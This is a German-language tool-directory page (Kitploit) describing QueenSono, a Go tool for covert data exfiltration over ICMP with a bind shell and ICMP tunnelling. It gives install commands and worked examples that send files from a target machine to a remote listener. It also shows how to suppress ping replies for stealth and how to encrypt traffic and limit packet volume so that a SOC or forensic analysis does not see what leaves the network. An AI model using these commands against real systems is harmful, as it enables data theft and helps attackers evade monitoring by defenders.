Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
QueenSono — Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...) | Kitploit
Tools/GitHubGitHub/ariary/queensono
DatenexfiltrationNetzwerksicherheitPenetrationstestsCommand and ControlRed Teaming
GitHubariary/queensono

QueenSono

Golang-Binärdatei zur Datenexfiltration mit ICMP-Protokoll (+ ICMP-Bindshell, HTTP über ICMP-Tunneling, ...)

Repository anzeigen
1682712vor 4 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

QueenSono ICMP-Datenexfiltration



Ein Golang-Paket für Datenexfiltration mit ICMP-Protokoll (IPv4 & IPv6).

QueenSono verlässt sich lediglich darauf, dass das ICMP-Protokoll nicht überwacht wird. Das ist recht üblich. Es könnte auch in einem System mit grundlegender ICMP-Inspektion (z.B. Überwachung von Frequenz und Inhaltlänge) verwendet werden oder um den Authentifizierungsschritt bei Captive Portals zu umgehen (die von vielen öffentlichen WLANs genutzt werden, um Benutzer nach der Verbindung zum WLAN zu authentifizieren, z.B. Flughafen-WLAN). Es versucht, PyExfil (und andere) nachzuahmen, mit dem Gedanken, dass auf dem Zielrechner nicht zwingend Python installiert sein muss (daher könnte die Bereitstellung einer Binärdatei nützlich sein).

Installieren · Nutzen · Notizen · Funktion anfragen · 🎁

Installieren

Mit curl

> Aus dem Release

curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Mit go

> Über go install

Stellen Sie sicher, dass $GOPATH in Ihrem $PATH ist, bevor Sie fortfahren.

Installieren von qssender

go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # Binärdatei umbenennen

Installieren von qsreceiver

go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # Binärdatei umbenennen

> Binärdatei aus dem Quellcode installieren

Klonen Sie das Repository und laden Sie die Abhängigkeiten lokal herunter:

git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Um den ICMP-Paket-Sender qssender zu bauen:

build.queensono-sender

Um den ICMP-Paket-Empfänger qsreceiver zu bauen:

build.queensono-receiver

Nutzung

qssender ist die Binärdatei, die ICMP-Pakete an den Listener sendet, also die Binärdatei, die Sie auf Ihr Zielsystem übertragen müssen.

qsreceiver ist der Listener auf Ihrem lokalen Rechner (oder überall dort, wo Sie ICMP-Pakete empfangen können).

Alle Befehle und Flags der Binärdateien finden Sie mit --help.

Beispiel 1: Senden mit "ACK" 🔙

> In diesem Beispiel möchten wir eine große Datei senden und auf Echo-Antworten warten, um den Empfang der Pakete zu bestätigen (ACK).

demo

Auf dem lokalen Rechner:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Erklärung
  • -l 0.0.0.0 hört auf allen Schnittstellen auf ICMP-Pakete
  • -f received_bible.txt speichert die empfangenen Daten in einer Datei
  • -p zeigt einen Fortschrittsbalken der empfangenen Daten an
  • Auf dem Zielrechner:

    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # große Datei herunterladen (für das Beispiel)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Erklärung
  • send file zum Senden einer Datei (bible.txt ist die betreffende Datei)
  • -d 2 sendet alle 2 Sekunden ein Paket
  • -l 0.0.0.0 die Adresse, auf der auf Echo-Antworten gehört wird
  • -r 10.0.0.92 die Adresse meines entfernten Rechners mit laufendem qsreceiver
  • -s 50000 die Datenmenge, die ich in jedem Paket senden möchte
  • Beispiel 2: Senden ohne "ACK" 🙈

    > In diesem Beispiel möchten wir eine Nachricht senden, ohne auf eine Echo-Antwort zu warten (dies kann nützlich sein, falls die Firewall des Ziels eingehende ICMP-Pakete filtert).

    demo

    Auf dem lokalen Rechner:

    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Erklärung
  • receive truncated 1 wartet nicht unbegrenzt, falls wir nicht alle Pakete empfangen haben. (1 ist die Verzögerung, die bei qssender verwendet wird)

  • Zur Tarnung können Sie den Kernel daran hindern, auf ICMP-Pings zu antworten:
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    Auf dem Zielrechner:

    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Erklärung
  • -N noreply-Option (nicht auf Echo-Antwort warten)
  • Beispiel 3: Verschlüsselte Daten senden 🔒

    > In diesem Beispiel möchten wir eine verschlüsselte Nachricht senden. Da die Befehlszeile ausspioniert werden könnte, verwenden wir asymmetrische Verschlüsselung (falls der Schlüssel ausläuft, ist das kein Problem).

    demo

    Auf dem lokalen Rechner:

    $ qsreceiver receive -l 0.0.0.0 --encrypt
    <AUSGABE ÖFFENTLICHER SCHLÜSSEL>
    
    Erklärung
  • --encrypt verwendet Schlüsselaustausch. Es wird ein öffentliches/privates Schlüsselpaar generiert. Der öffentliche Schlüssel wird von qssender zum Verschlüsseln der Daten verwendet, der private zum Entschlüsseln mit receiver
  • Auf dem Zielrechner:

    $ export MSG="<Ihre Nachricht>"
    $ export KEY="<öffentlicher_Schlüssel_aus_der_qsreceiver-Ausgabe>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Erklärung
  • --key gibt den Schlüssel für die Datenverschlüsselung an. Verwenden Sie den vom qsreceiver-Befehl bereitgestellten Schlüssel.
  • Über die Verschlüsselung

    Es wird RSA-Verschlüsselung verwendet, um die ausgetauschten Daten vertraulich zu halten. Dies kann z. B. nützlich sein, um zu verhindern, dass ein SOC (oder die Forensik) bei einer einfachen Analyse sieht, welche Daten ausgetauscht werden, oder einfach aus Datenschutzgründen.

    Dies hat jedoch seinen Preis. Die Wahl der asymmetrischen Verschlüsselung ist dadurch motiviert, dass der Verschlüsselungsschlüssel in der Befehlszeile eingegeben wird (also leicht ausgelesen werden kann). Daher verschlüsseln wir Daten mit dem öffentlichen Schlüssel. Falls jemand den Verschlüsselungsschlüssel erhält, kann er die Nachricht so nicht entschlüsseln. Der öffentliche Schlüssel ist jedoch kleiner als der private, sodass er kleinere Nachrichten verschlüsselt. Außerdem ist es rechnerisch aufwändig.

    Ein weiterer Punkt: Da wir die Datenmenge / Ping-Anfragen begrenzen möchten (um Erkennung, Fehler usw. zu vermeiden), verwenden Sie die Verschlüsselung nur bei Bedarf, da die Ausgabegröße der Nachricht (sollte) immer der Größe des Modulus (Teil des Schlüssels) entspricht, was groß ist.

    Tool herunterladen